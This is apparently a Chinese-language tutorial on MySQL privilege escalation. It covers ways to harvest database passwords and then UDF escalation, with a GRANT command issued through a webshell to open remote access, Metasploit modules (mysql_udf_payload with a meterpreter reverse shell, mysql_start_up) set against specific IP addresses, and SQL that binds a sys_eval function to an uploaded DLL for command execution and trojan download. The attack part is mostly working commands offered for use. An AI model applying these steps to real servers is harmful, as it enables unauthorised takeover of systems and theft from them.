获取密码的方式:
1. 网站存在SQL注入点
2. 数据库的存储文件或备份文件
在数据库有几个文件记录着密码比如:MySQL数据库的,/MySQL/data/mysql
有三个uesr.MYD,user.MYI,user.frm,其中就有可能有密码的存储
3. 网站数据库连接配置文件,就可能有网站的配置文件
4. 弱口令爆破
第二,三种往往是我们拿到数据库权限之后
我们需要了解它的基本原理以及基本的利用手法
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
限制条件:
MySQL数据库是禁止开启外部连接的,但是也是有办法克服的
我们需要在对方机器上,登录数据库,执行下面的命令,就可以开启外链
这一步可以使用哥斯拉,蚁剑连接上目标机器上的Webshell,提供这个Webshell进行数据库连接相当于在本地进行连接。
一般情况下都是先通过webshell连接数据库来开启外链,因为后续的MSF的利用上是属于外链的。
在webshell执行开启外链的命令
GRANT ALL PRIVILEGES ON *.* TO '账号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
之后使用MSF进行测试:
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set username root
set password root
set rhosts 47.102.195.100
run
根据数据库的不同,会有一个dll文件生成在不同的目录
之后我们可以通过这个文件执行命令,这一步可以通过Navicat来完成
首先在数据库内执行命令
select * from mysql.func where name="sys_exec";
再创建一个sys_eval()绑定dll用来执行命令,MySQL的mysql.func种记录着绑定的信息
create function sys_eval returns string soname "pZzTLcMH.dll";
命令执行:
之后可以远程下载木马,上线。
限制条件:
windows查看启动项命令:msconfig
然后将启动的快捷方式放入文件夹中即可
use exploit/windows/mysql/mysql_start_up
set username root
set password root
set rhost 192.168.226.136 //设置攻击主机
set AllowNoCleanup true
run
之后等待对方服务器上线即可
这是写入到系统启动项提权上了
参考文章:https://www.cdsy.xyz/computer/security/231016/cd46220.html
其本质也是借助UDF进行提权
在我们实战中常用到的也就是UDF提权和启动项提权。